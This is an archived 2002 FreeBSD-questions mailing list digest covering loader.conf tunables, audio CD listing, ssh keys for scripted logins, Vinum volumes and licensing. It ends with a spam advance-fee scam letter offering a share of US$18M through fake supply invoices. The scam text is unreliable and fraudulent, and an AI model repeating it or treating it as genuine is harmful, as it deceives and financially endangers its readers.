Message-ID: <20020801142419.A460@gicco.cablecom.ch>
Reply-To: freebsd-questions@FreeBSD.ORG
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  On Aug 01 at 09:55, Oleg Kyryliv spoke:

> can i retrieve messages from maillist freebsd-questions ?

http://docs.freebsd.org/mail/archive/2002/freebsd-questions/
http://docs.freebsd.org/mail/

-Hanspeter

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From owner-freebsd-questions  Thu Aug  1  5:27:22 2002
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From: Hanspeter Roth <hanspeter_roth@hotmail.com>
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Subject: setting readonly hw.ata.atapi_dma
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Hello,

I want to set hw.ata.atapi_dma to 1. But using sysctl it tells me
hw.ata.atapi_dma is read only.
How can I set it to 1? Is there a specific kernel configuration
option?

-Hanspeter

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From owner-freebsd-questions  Thu Aug  1  5:29:45 2002
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From: Simon Dick <simond@irrelevant.org>
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Subject: Re: setting readonly hw.ata.atapi_dma
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On Thu, Aug 01, 2002 at 02:27:17PM +0200, Hanspeter Roth wrote:
> Hello,
> 
> I want to set hw.ata.atapi_dma to 1. But using sysctl it tells me
> hw.ata.atapi_dma is read only.
> How can I set it to 1? Is there a specific kernel configuration
> option?

Try setting it in /boot/loader.conf as
hw.ata.atapi_dma="1"

-- 
Simon Dick					simond@irrelevant.org

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From owner-freebsd-questions  Thu Aug  1  5:46:55 2002
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Date: Thu, 1 Aug 2002 14:39:36 +0200
From: Hanspeter Roth <hanspeter_roth@hotmail.com>
To: freebsd-questions@FreeBSD.ORG
Subject: Re: setting readonly hw.ata.atapi_dma
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  On Aug 01 at 13:29, Simon Dick spoke:

> On Thu, Aug 01, 2002 at 02:27:17PM +0200, Hanspeter Roth wrote:
> > Hello,
> > 
> > I want to set hw.ata.atapi_dma to 1. But using sysctl it tells me
> > hw.ata.atapi_dma is read only.
> > How can I set it to 1? Is there a specific kernel configuration
> > option?
> 
> Try setting it in /boot/loader.conf as
> hw.ata.atapi_dma="1"

Aha. Indeed that works. 
I'd thought this belongs into /etc/sysctl.conf.

Thank you.
-Hanspeter

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From owner-freebsd-questions  Thu Aug  1  5:52:20 2002
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Thank you all, guys. It really worked.


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From owner-freebsd-questions  Thu Aug  1  5:58:26 2002
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From: Simon Dick <simond@irrelevant.org>
To: freebsd-questions@FreeBSD.ORG
Subject: Re: setting readonly hw.ata.atapi_dma
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On Thu, Aug 01, 2002 at 02:39:36PM +0200, Hanspeter Roth wrote:
>   On Aug 01 at 13:29, Simon Dick spoke:
> 
> > On Thu, Aug 01, 2002 at 02:27:17PM +0200, Hanspeter Roth wrote:
> > > Hello,
> > > 
> > > I want to set hw.ata.atapi_dma to 1. But using sysctl it tells me
> > > hw.ata.atapi_dma is read only.
> > > How can I set it to 1? Is there a specific kernel configuration
> > > option?
> > 
> > Try setting it in /boot/loader.conf as
> > hw.ata.atapi_dma="1"
> 
> Aha. Indeed that works. 
> I'd thought this belongs into /etc/sysctl.conf.

So did I at first, but that sysctl is read only once the kernel
has been loaded, so it sort of makes sense that it can only be set
by the loader :)

-- 
Simon Dick					simond@irrelevant.org

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From owner-freebsd-questions  Thu Aug  1  6:17:26 2002
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Date: Thu, 1 Aug 2002 15:17:22 +0200
From: Hanspeter Roth <hanspeter_roth@hotmail.com>
To: freebsd-questions@freebsd.org
Subject: listing toc of audio cd on atapi drive
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Hello,

how can one list the table of contents of an audio cd (# of tracks
and length of each) on an atapi drive?
Is it possible without the scsi-emulation approach?

-Hanspeter

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From owner-freebsd-questions  Thu Aug  1  6:21:27 2002
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Reply-To: "Fernando Costa de Almeida" <falmeida@easyit.com.br>
From: "Fernando Costa de Almeida" <falmeida@easyit.com.br>
To: <freebsd-questions@freebsd.org>
Subject: Last Test
Date: Thu, 1 Aug 2002 10:20:12 -0300
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This will be the last test, I promisse..


Fernando Costa de Almeida (falmeida@easyit.com.br)
Computeasy Telecom
icq 72293951


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From owner-freebsd-questions  Thu Aug  1  6:23:36 2002
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From: "Fernando Costa de Almeida" <falmeida@easyit.com.br>
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Subject: Constructing a distribution
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     Hi,
 
     I would like to make an iso image of FreeBSD because I have a lot of
 machines to install that are identical (has the same softwares,
 configuration, etc), and I have to install FreeBSD and the softwares every
 time, losing a lot of time....
 
     What I want is to put the CD, and the install process will do all the
 tasks and install all the software I need... I already seen something
 familiar with Red Hat, but I  dont know how to do with FreeBSD....
 
     Hope my message was clear....
 
     AtT
 
 _____________________________
 Fernando Costa de Almeida
 falmeida@easyit.com.br
 icq 72293951 


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At 06:46 PM 7/31/2002 -0400, Christopher J. Umina wrote:
>I obviously don't want to hack other people's servers, just learn..
>Don't you care how to do it?  Or are you just affraid that it's a crime?


Chris:  the tone of your original message was "I want to learn do this 
because it's cool".  That spells trouble in my book.  The people who break 
into most systems aren't professional criminals who want to steal secrets 
they are hobbyists who do it to prove it can be done and "because it is 
cool".  They want to show off.

Yes it is a crime to break into someone else's system..even "for fun" and 
"to prove it can be done".  The penalities are becoming more severe with 
the attention to world events.

Here's a story that appeared a few days ago you might want to look at:

http://www.chron.com/cs/CDA/story.hts/tech/news/1507766

If you want to learn programming and security do it the right way...go to 
school and learn it, not "on the streets".

--Karl



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=0D
hello. i'm a spanish user and i have a question.=0D
can i obtain a web account on people.freebsd.org? is free?=0D
thanks and greets :)=0D
david.
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From owner-freebsd-questions  Thu Aug  1  6:56:57 2002
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From: Andrew J Caines <A.J.Caines@halplant.com>
To: freebsd-questions@freebsd.org
Subject: Re: listing toc of audio cd on atapi drive
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Hanspeter,

> how can one list the table of contents of an audio cd (# of tracks
> and length of each) on an atapi drive?

# cdcontrol Info
Starting track = 1, ending track = 5, TOC size = 50 bytes
track     start  duration   block  length   type
-------------------------------------------------
    1   0:02.00   1:26.62       0    6362  audio
    2   1:26.62  13:37.42    6362   61167  audio
    3  15:02.29  13:31.35   67529   60710  audio
    4  28:31.64  10:18.53  128239   46253  audio
    5  38:48.42  24:56.59  174492  112109  audio
  170  63:43.26         -  286601       -      -


-Andrew-
-- 
 _______________________________________________________________________
| -Andrew J. Caines-   Unix Systems Engineer   A.J.Caines@halplant.com  |
| "They that can give up essential liberty to obtain a little temporary |
|  safety deserve neither liberty nor safety" - Benjamin Franklin, 1759 |

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From owner-freebsd-questions  Thu Aug  1  6:59:35 2002
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X-Loop: FreeBSD.ORG

     Hello,

      Is it possible with freeBSD to have a dial-in accsess, via Analog,
ISDN, VPN?


With regards,
                                                                                                    
 Sigurdur Ellert Sigurjonsson                                                         ses@raesir.is 
                                                                                                    
 System manager                                                               mobile: +354-898-0656 
                                                                                                    
                                                       -------------------------------------------- 
                                                                      www.raesir.is                 
                                                       -------------------------------------------- 
                                                                                                    
 Raesir hf                                                                     Phone: +354-540-5400 
                                                                                                    
 Skulagata 59                                                                 Direct: +354-540-5475 
                                                                                                    
 105 Reykjvik                                                                    Fax: +354-540-5401 
                                                                                                    
 Iceland                                                                                            
                                                                                                    





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From owner-freebsd-questions  Thu Aug  1  6:59:55 2002
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From: burningclown@westhost43.westhost.net
To: Fernando Costa de Almeida <falmeida@easyit.com.br>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Constructing a distribution
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X-Loop: FreeBSD.ORG


Well, Red Hat is Linux. FreeBSD is not Linux.

Just to be clear ... that is often a confusion.

On Thu, 1 Aug 2002, Fernando Costa de Almeida wrote:

>      Hi,
>  
>      I would like to make an iso image of FreeBSD because I have a lot of
>  machines to install that are identical (has the same softwares,
>  configuration, etc), and I have to install FreeBSD and the softwares every
>  time, losing a lot of time....
>  
>      What I want is to put the CD, and the install process will do all the
>  tasks and install all the software I need... I already seen something
>  familiar with Red Hat, but I  dont know how to do with FreeBSD....
>  
>      Hope my message was clear....
>  
>      AtT
>  
>  _____________________________
>  Fernando Costa de Almeida
>  falmeida@easyit.com.br
>  icq 72293951 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 

-- 
+----------------+
http://www.burningclown.com
"Everyone's Portal to Nothing At All"
+----------------+


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From owner-freebsd-questions  Thu Aug  1  7: 7:33 2002
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Reply-To: "Fernando Costa de Almeida" <falmeida@easyit.com.br>
From: "Fernando Costa de Almeida" <falmeida@easyit.com.br>
To: <freebsd-questions@freebsd.org>
Subject: Re: Constructing a distribution
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X-Loop: FreeBSD.ORG

Yes, I known.. What I said is that this feature exists in Red Hat, but I
dont know if it exists in FreeBSD too.. I never said that FreeBSD is
linux...

----- Original Message -----
From: <burningclown@westhost43.westhost.net>
To: "Fernando Costa de Almeida" <falmeida@easyit.com.br>
Cc: <freebsd-questions@FreeBSD.ORG>
Sent: Thursday, August 01, 2002 11:02 AM
Subject: Re: Constructing a distribution


>
> Well, Red Hat is Linux. FreeBSD is not Linux.
>
> Just to be clear ... that is often a confusion.
>
> On Thu, 1 Aug 2002, Fernando Costa de Almeida wrote:
>
> >      Hi,
> >
> >      I would like to make an iso image of FreeBSD because I have a lot
of
> >  machines to install that are identical (has the same softwares,
> >  configuration, etc), and I have to install FreeBSD and the softwares
every
> >  time, losing a lot of time....
> >
> >      What I want is to put the CD, and the install process will do all
the
> >  tasks and install all the software I need... I already seen something
> >  familiar with Red Hat, but I  dont know how to do with FreeBSD....
> >
> >      Hope my message was clear....
> >
> >      AtT
> >
> >  _____________________________
> >  Fernando Costa de Almeida
> >  falmeida@easyit.com.br
> >  icq 72293951
> >
> >
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-questions" in the body of the message
> >
>
> --
> +----------------+
> http://www.burningclown.com
> "Everyone's Portal to Nothing At All"
> +----------------+
>
>



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From owner-freebsd-questions  Thu Aug  1  7:13:53 2002
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From: "Morse, Richard E." <REMORSE@PARTNERS.ORG>
To: "'questions@freebsd.org'" <questions@freebsd.org>
Subject: Question about ssh setup...
Date: Thu, 1 Aug 2002 10:13:45 -0400 
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X-Loop: FreeBSD.ORG

Hi!  I have a problem -- I have a user who wants to be able to connect to my
server via a script, get a directory listing, then use scp to copy some files
off.  The problem is that ssh (which is the only way to connect) doesn't allow
you to pass the password to it as a parameter (which is a good thing, I guess).
As this script runs around midnight, this presents a problem.  I've tried to set
up ssh to use the RHostsRSAEncryption, with a .shosts file, but it still prompts
for a password when he tries to login.  The machine he is connecting from is in
the ~/.ssh/known_hosts file, and I set up the .shosts file with the machine that
he will be connecting from and his user name.  Is there anything else that I
need to set up for this to work?

Thanks,
Ricky

-----------------------------------------------------
Richard Morse                    System Administrator 
MGH Biostatistics Center      50 Staniford St. Rm 560
remorse@partners.org                     617/724-9830

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From owner-freebsd-questions  Thu Aug  1  7:24:18 2002
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Subject: Re: Recovering partitions
To: iwes@Silver.TotalMac.net (rheaB seW)
Date: Thu, 1 Aug 2002 10:23:33 -0400 (EDT)
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X-Loop: FreeBSD.ORG

> 
> Well, I've certainly done it now.
> Thanks to Windows 98's friendly setup that will partition your entire 
> hard drive for you, I now am lacking my FreeBSD partition (replaced 
> with a single Primary DOS partition).
> 
> Is there any way to recover my lost partitions? If it's possible by 
> somehow getting the superblock count.. or something.. I'd sure 
> appreciate the help.

Maybe, if it hasn't been reformatted or written over.
There are a couple of utilities that try and do stuff.
You might check out Partition Magic which isn't too
expensive (around $60).   

If anything but the low level slice table has been written over,
you may be out of luck unless you are willling to spend a lot
of money for a coommercial recovery service.

Are you sure it actually made a new partition or just overwrote
the boot block and won't now find the FreeBSD partition for
booting?   You can hope that is the case, because then you only
have to replace the boot block with a smarter one, such as the
one FreeBSD  will put there with fdisk which can boot either.

Good luck,

////jerry

> 
> Thanks,
> Wes
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
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> 


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From owner-freebsd-questions  Thu Aug  1  7:29:14 2002
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From: "Christian Schmied" <christian@schmied.cc>
To: "'Morse, Richard E.'" <REMORSE@PARTNERS.ORG>
Cc: <freebsd-questions@freebsd.org>
Subject: RE: Question about ssh setup...
Date: Thu, 1 Aug 2002 16:29:06 +0200
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hi,

rhosts is not a good idea because of a security risk.

try private/public key authentication, this works fine for scripts....
but be carefull openssh and ssh2 have different keys! if the server has
a different
version, then you have to convert the keys with ssh-keygen.

Chris.

-----Original Message-----
From: owner-freebsd-questions@FreeBSD.ORG
[mailto:owner-freebsd-questions@FreeBSD.ORG] On Behalf Of Morse, Richard
E.
Sent: Donnerstag, 01. August 2002 16:14
To: 'questions@freebsd.org'
Subject: Question about ssh setup...


Hi!  I have a problem -- I have a user who wants to be able to connect
to my server via a script, get a directory listing, then use scp to copy
some files off.  The problem is that ssh (which is the only way to
connect) doesn't allow you to pass the password to it as a parameter
(which is a good thing, I guess). As this script runs around midnight,
this presents a problem.  I've tried to set up ssh to use the
RHostsRSAEncryption, with a .shosts file, but it still prompts for a
password when he tries to login.  The machine he is connecting from is
in the ~/.ssh/known_hosts file, and I set up the .shosts file with the
machine that he will be connecting from and his user name.  Is there
anything else that I need to set up for this to work?

Thanks,
Ricky

-----------------------------------------------------
Richard Morse                    System Administrator 
MGH Biostatistics Center      50 Staniford St. Rm 560
remorse@partners.org                     617/724-9830

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From owner-freebsd-questions  Thu Aug  1  7:34: 9 2002
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From: Andrew J Caines <A.J.Caines@halplant.com>
To: "Morse, Richard E." <REMORSE@PARTNERS.ORG>
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Subject: Re: Question about ssh setup...
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Richard,

> Hi!  I have a problem -- I have a user who wants to be able to connect to my
> server via a script, get a directory listing, then use scp to copy some files
> off.  The problem is that ssh (which is the only way to connect) doesn't allow
> you to pass the password to it as a parameter

The canonical solution to this problem is the have the client generate a
key pair with a null passphrase, then use this key pair for the automated
connections.

Even if this involves a user with another protected key pair, don't forget
you can add any number of public keys to authorized_keys and can invoke ssh
pointing to a different private key.

Exactly how you implement the process will depend on your trust model.

Make sure the host key exchange has already happened.


-Andrew-
-- 
 _______________________________________________________________________
| -Andrew J. Caines-   Unix Systems Engineer   A.J.Caines@halplant.com  |
| "They that can give up essential liberty to obtain a little temporary |
|  safety deserve neither liberty nor safety" - Benjamin Franklin, 1759 |

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From owner-freebsd-questions  Thu Aug  1  7:39:47 2002
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From: "Anish Mistry" <mistry.7@osu.edu>
To: <freebsd-questions@freebsd.org>
Subject: License Question
Date: Thu, 1 Aug 2002 10:41:43 -0400
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I am writing some software for company that I am consulting with, in which I
reuse code which I have licensed under a bsd-style license.  The issue is that
they don't want any other copyright info or license file distibuted with thier
software in which this application that I am writing is included from.  With the
bsd-style license you must included a copy of the license with any binaries
created by the sources that contain the license it that correct?  So would it
just be better to relicense all the bsd-style license code since i wrote all of
it, under something that would fit thier requirement?

(when i refer to the bsd-style license i am refering to the revised bsd style
license, ie. the current freebsd license.)

Thanks,

Anish Mistry
amistry@am-productions.yi.org
AM Productions http://am-productions.yi.org/




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From owner-freebsd-questions  Thu Aug  1  7:41:16 2002
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  On Jul 31 at 23:20, rheaB seW spoke:

> Is there any way to recover my lost partitions? If it's possible by somehow getting the superblock count.. or something.. I'd sure appreciate the help.

I recently destroyed my partition table.
I could recover it with testdrive
http://www.cgsecurity.org/testdisk.html.
Gpart discovered my FreeBSD partition but not my logical fat32
partitions. But maybe on your drive it might discover more.
http://www.stud.uni-hannover.de/user/76201/gpart/

-Hanspeter

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From owner-freebsd-questions  Thu Aug  1  8: 4:13 2002
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From: Drew Raines <drew-dated-1028646153.33b208@rain3s.net>
To: Greg 'groggy' Lehey <grog@FreeBSD.org>
Cc: freebsd-questions@freebsd.org
Subject: Re: Striped Vinum on two drives
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Greg 'groggy' Lehey wrote:
>
> On Wednesday, 31 July 2002 at 16:18:40 -0500, Drew Raines wrote:
> > I have a machine with two hard drives:
> >
> >    ad0  Maxtor     13 GB
> >    da0  Fujitsu    36 GB
> >
> > I'd like to create root, swap, and usr partitions on the
> > beginning of ad0, and have the rest of the drive, as well as
> > all of da0 be one giant 45 GB filesystem.  Something like:
> >
> >    ad0  /
> >         swap
> >         /usr
> >         /bigfs
> >    da0  /bigfs (cont.)

[...]

> No, I'd consider this a fairly typical application.

[...]

> > Also, *can* I do it?  I just want the two spindles to look
> > like one disk, striping the data accordingly.
> 
> Yes, you can do that.  But given the discrepancy in size
> between your disks, you might find it more useful to
> concatenate them.

OK.  I've done that, but I have a few questions.

(1)  Where did my space on /bigfs go?

         Filesystem   1K-blocks  Used    Avail Capacity  Mounted on
         /dev/da0s1a      99742 33574    58190    37%    /
         /dev/da0s1e    3096462 81006  2767740     3%    /usr
         procfs               4     4        0   100%    /proc
         /dev/vinum/1  43187825     1 39732798     0%    /bigfs

     Does it really take 3.5 GB for Vinum to store information?  I
     thought it was 265 blocks.

(2)  How do I rename that ``1'' volume?  I created it with help
     from an example in the archives without realizing that
     would be the name.  I tried:
     
     # umount /bigfs
     # vinum stop 1
     [Aug 1 09:52:46 dawson /kernel: vinum: volume 1 is down]
     # vinum rm 1
     Can't remove 1: Device busy (16)
     [Aug 1 09:52:57 dawson /kernel: vinum: 1 is up]
     # vinum list
     2 drives:
     D Abraham               State: up  Device /dev/da0s1f      Avail: 0/30530 MB (0%)
     D Isaac                 State: up  Device /dev/ad0s1e      Avail: 0/12982 MB (0%)
  
     1 volumes:
     V 1                     State: up  Plexes:       1 Size:         42 GB
  
     1 plexes:
     P 1.p0                C State: up  Subdisks:     2 Size:         42 GB
  
     2 subdisks:
     S 1.p0.s0               State: up  PO:        0  B Size:         29 GB
     S 1.p0.s1               State: up  PO:       29 GB Size:         12 GB

Here's my configuration info:

   drive Abraham device /dev/da0s1f
   drive Isaac   device /dev/ad0s1e
   volume 1 setupstate
     plex org concat
       sd length 0 drive Abraham
       sd length 0 drive Isaac

   # /dev/da0s1a:
   [...]
   8 partitions:
   #        size   offset    fstype   [fsize bsize bps/cpg]
     a:   202752        0    4.2BSD     2048 16384    97        # (Cyl.    0 - 12*)
     b:  2099200   202752      swap                             # (Cyl.   12*- 143*)
     c: 71119692        0    unused        0     0              # (Cyl.    0 - 4426*)
     e:  6291456  2301952    4.2BSD     2048 16384    89        # (Cyl.  143*- 534*)
     f: 62526284  8593408     vinum                             # (Cyl.  534*- 4426*)

   # /dev/ad0s1e:
   [...]
   8 partitions:
   #        size   offset    fstype   [fsize bsize bps/cpg]
     c: 26587512        0    unused        0     0              # (Cyl.    0 - 1654*)
     e: 26587512        0     vinum                             # (Cyl.    0 - 1654*)

Thanks for your time, Greg.

-Drew

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From owner-freebsd-questions  Thu Aug  1  8: 9:47 2002
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From: Rob Ellis <rob@web.ca>
To: freebsd-questions@freebsd.org
Subject: Re: 1GB ram, how much SWAP?
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>o Even with light memory loads, the virtual memory system slowly pages out data
>  in preparation for a possible sudden demand for memory.  This means  that  it
>  can  be  more  responsive  to such requests.  As a result, you should have at
>  least as much swap as memory.

this is an argument for some swap, but i don't follow how it means
you need at least as much swap as memory... can you explain that a
bit more?

>o About the only ways to change the size of a swap partition are to add another
>  partition  or  to  reinstall  the system, so if you're not sure, a little bit
>  more won't do any harm, but too little can really be a problem.

if you find you're running out of swap, you can create swap files,
although i guess that's less efficient?

there's also the argument that if you ever plan to add more memory, you
want to add swap to prepare for that possibility. so one scenario
is that you want as much swap as the ram your machine can take +1MB.

in practice, though, if you add a lot of memory, you probably need less
swap (except for the kernel's preparation for swap it will never need ;-)
and for crash dumps). 

>  The  dump  routines can only dump to a single partition, so you need one that
>  is big enough.  If you have 512 MB of memory and two swap partitions  of  384
>  MB each, you still will not be able to dump.

is the average user going to be analyzing crash dumps? how often
does this come up? if dumpon is turned off by default, when would
you want to turn it on, what would you do after that...?

allocating 2GB+1M of swap on a new machine really isn't going to be 
a problem -- especially with cheap UDMA disks of 60GB+ -- but if it's 
just going to sit there, it offends my sense of economy... :-)

- rob

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From: Drew Raines <drew-dated-1028646499.6aa097@rain3s.net>
To: Greg 'groggy' Lehey <grog@FreeBSD.org>
Cc: freebsd-questions@freebsd.org
Subject: Re: Striped Vinum on two drives
Message-ID: <20020801151102.GL26818@mail.rain3s.net>
References: <20020731211840.GN19920@mail.rain3s.net>
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Drew Raines wrote:
>
> Greg 'groggy' Lehey wrote:
> >
> > On Wednesday, 31 July 2002 at 16:18:40 -0500, Drew Raines wrote:
> > > I have a machine with two hard drives:
> > >
> > >    ad0  Maxtor     13 GB
> > >    da0  Fujitsu    36 GB
> > >
> > > I'd like to create root, swap, and usr partitions on the
> > > beginning of ad0, and have the rest of the drive, as well as
> > > all of da0 be one giant 45 GB filesystem.  Something like:
> > >
> > >    ad0  /
> > >         swap
> > >         /usr
> > >         /bigfs
> > >    da0  /bigfs (cont.)

[...]

> > Yes, you can do that.  But given the discrepancy in size
> > between your disks, you might find it more useful to
> > concatenate them.
> 
> OK.  I've done that, but I have a few questions.

BTW, I should note that I intentionally altered my plan from
above.  The schematic looks more like this, having swapped the
SCSI and the IDE drive:

    da0  /
         swap
         /usr
         /bigfs
    ad0  /bigfs (cont.)

-Drew

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ses@raesir.is wrote:
> 
>      Hello,
> 
>       Is it possible with freeBSD to have a dial-in accsess, via Analog,
> ISDN, VPN?

Yes, it is. Usually I'd recommend to read the handbook, but today I'm
a little more friendly:
http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/index.html
http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/dialout.html
http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/ppp-and-slip.html

Much luck
Jens

> With regards,
> 
>  Sigurdur Ellert Sigurjonsson                                                         ses@raesir.is
> 
>  System manager                                                               mobile: +354-898-0656
> 
>                                                        --------------------------------------------
>                                                                       www.raesir.is
>                                                        --------------------------------------------
> 
>  Raesir hf                                                                     Phone: +354-540-5400
> 
>  Skulagata 59                                                                 Direct: +354-540-5475
> 
>  105 Reykjvik                                                                    Fax: +354-540-5401
> 
>  Iceland
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
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-- 
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From owner-freebsd-questions  Thu Aug  1  8:12:55 2002
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From: "Brian T. Schellenberger" <bts@babbleon.org>
To: "Anish Mistry" <mistry.7@osu.edu>,
	<freebsd-questions@freebsd.org>
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Well, the FreeBSD license is pretty short & sweet.  I'd read what you wrote 
and if it forbids what you want to do, then you need to re-license it.

This is usually done with existing programs using an "either/or" license: 
either the old or the new one may be used.

I'd suggest just adding a "without the permission of the author" clause to the 
whole licesense; this gives you leave henceforth to make any exceptions for 
anybody you choose.

The exact legal nicities are a little confusing since you previously licensed 
it under different terms, but since you are the only person with standing to 
sue and since you are the one giving the permission I assume you don't have 
to worry about suing yourself, so that simplifies matters.

On Thursday 01 August 2002 10:41 am, Anish Mistry wrote:
| I am writing some software for company that I am consulting with, in which
| I reuse code which I have licensed under a bsd-style license.  The issue is
| that they don't want any other copyright info or license file distibuted
| with thier software in which this application that I am writing is included
| from.  With the bsd-style license you must included a copy of the license
| with any binaries created by the sources that contain the license it that
| correct?  So would it just be better to relicense all the bsd-style license
| code since i wrote all of it, under something that would fit thier
| requirement?
|
| (when i refer to the bsd-style license i am refering to the revised bsd
| style license, ie. the current freebsd license.)
|
| Thanks,
|
| Anish Mistry
| amistry@am-productions.yi.org
| AM Productions http://am-productions.yi.org/
|
|
|
|
| To Unsubscribe: send mail to majordomo@FreeBSD.org
| with "unsubscribe freebsd-questions" in the body of the message

-- 
Brian, the man from Babble-On . . . .   bts@babbleon.org (personal)
                                        http://www.babbleon.org

http://www.eff.org                      http://www.programming-freedom.org 

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Date: Thu, 1 Aug 2002 08:22:07 -0700
From: Nathan Kinkade <nkinkade@dsl-only.net>
To: David Banning <david@skytrackercanada.com>
Cc: questions@freebsd.org
Subject: Re: dsl modem suggestions
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On Thu, 1 Aug 2002 03:01:35 -0400
David Banning <david@skytrackercanada.com> wrote:

> I have a gnet modem which is giving me trouble. 
> 
> It looks like I've wasted my money once.  Any suggestions for a dsl
> modem? 

Generally speaking, your DSL provider will give you a limited choice of
CPE from which to choose.  Your best bet is to stay within those bounds
if you want to guarantee compatability between your CPE and the DSLAM. 
Your DSL provider, not your ISP, will have tested various CPE with their
DSLAM(s).  This isn't to say that their decisions on which CPE to
"certify" aren't partial - only that they are known to work as expected.
 Did your provider tell you that you could just buy any CPE that you
wanted?  In theory, your CPE need only conform to the same line encoding
standards as your provider (DMT or CAP), but in practice this may not be
fool-proof.

Nathan

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Anybody know where I might find a good tutorial or something on
directory/file browsing in C++.  I'm trying to write a program that
backs up MySQL databases, quite a few, and keeps track of them by not
letting the backups exceed a certain number.  Naturally this would be
done by deleting files that are X amount of days/weeks old.  However, to
do this I need to be able to scan all the files in a specific directory
and then obtain information on when they were created/modified.
 
I know there are Perl programs that do this, but I'd rather do it myself
~ its a learning experience.
 
 
- Matthew
 
 
/**************************************************************
 
      Matthew Metnetsky
 
      met@uberstats.com
 
**************************************************************/

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<DIV><SPAN class=3D980103015-01082002><FONT face=3DVerdana =
color=3D#0000ff=20
size=3D2>Anybody know where I might find&nbsp;a good tutorial or =
something on=20
directory/file browsing in C++.&nbsp; I'm trying to write a program that =
backs=20
up MySQL databases, quite a few, and keeps track of them by not letting =
the=20
backups exceed a certain number.&nbsp; Naturally this would be done by =
deleting=20
files that are X amount of days/weeks old.&nbsp; However, to do this I =
need to=20
be able to scan all the files in a specific directory and then obtain=20
information on when they were created/modified.</FONT></SPAN></DIV>
<DIV><SPAN class=3D980103015-01082002><FONT face=3DVerdana =
color=3D#0000ff=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D980103015-01082002><FONT face=3DVerdana =
color=3D#0000ff size=3D2>I=20
know there are Perl programs that do this, but I'd rather do it myself ~ =
its a=20
learning experience.</FONT></SPAN></DIV>
<DIV><SPAN class=3D980103015-01082002><FONT face=3DVerdana =
color=3D#0000ff=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D980103015-01082002><FONT face=3DVerdana =
color=3D#0000ff=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D980103015-01082002><FONT face=3DVerdana =
color=3D#0000ff size=3D2>-=20
Matthew</FONT></SPAN></DIV>
<DIV><SPAN class=3D980103015-01082002><FONT face=3DVerdana =
color=3D#0000ff=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D980103015-01082002>
<DIV align=3Dleft><SPAN=20
style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: =
AR-SA"></SPAN>&nbsp;</DIV>
<DIV align=3Dleft><SPAN=20
style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: =
AR-SA">/**************************************************************</S=
PAN></DIV>
<DIV align=3Dleft><SPAN=20
style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: =
AR-SA"></SPAN>&nbsp;</DIV>
<DIV align=3Dleft><SPAN=20
style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: =
AR-SA">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
Matthew Metnetsky</SPAN></DIV>
<DIV align=3Dleft><SPAN=20
style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
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AR-SA"></SPAN>&nbsp;</DIV>
<DIV align=3Dleft><SPAN=20
style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: =
AR-SA">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<FONT=20
color=3D#ff0000>met@uberstats.com</FONT></SPAN></DIV>
<DIV align=3Dleft><SPAN=20
style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
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AR-SA"></SPAN>&nbsp;</DIV>
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style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
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style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
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From the office of MR SEMION NELSON
Personal assistance to chief Ige
Office 114 senate building Ikeja Lagos



I'm offering you this business request, hoping you Will accept it with =
warmest heart. I am MR SEMION NELSON. The personal assistance to late
Attorney General of federation Bola Ige, former Minister for POWER AND =
STILL of States Of Nigeria who was brutally murdered by this Government =
late last year because of his interest to contest for the 2003
presidential Election. Before the death of Honorable Ige he had in mind =
of coming out for the presidential Election. And he had saved the money =
to make sure he concludes the entire plan towards the election.

This money was to be used for the completion of Abiokuta still =
industries Before his death. The most important issue is that I am the =
only person who Knows about it as his confidantes, and was among the =
signatories. the amount is (US$18M). Eighteen million Dollars.    It is
my wish with full trust that I am requesting you to assist me on how to =
secure this money that was deposited in the bank before his sudden
death. And get it transferred into your account as one of the people =
that supplied The materials used for the still industries but have not
been paid.

Once you respond, we will then incorporate your Establishment in Nigeria =
and prepare a suitable supply claim using an invoice sheet to show the
items supplied and their prices. These will be forwarded to my =
department where necessary approvals will be granted and then the money=20
Will be sent into your account direct.

                    SHARE:
 A.      30% for you (Account Owner)
 B.   70% for us, I & my two other colleagues
Please be informed that this project is assified sensitive. Therefore =
this transaction will be most confidential, urgent and treated as a
matter of trust.=20

I have all necessary legal documents that can be used to back up any =
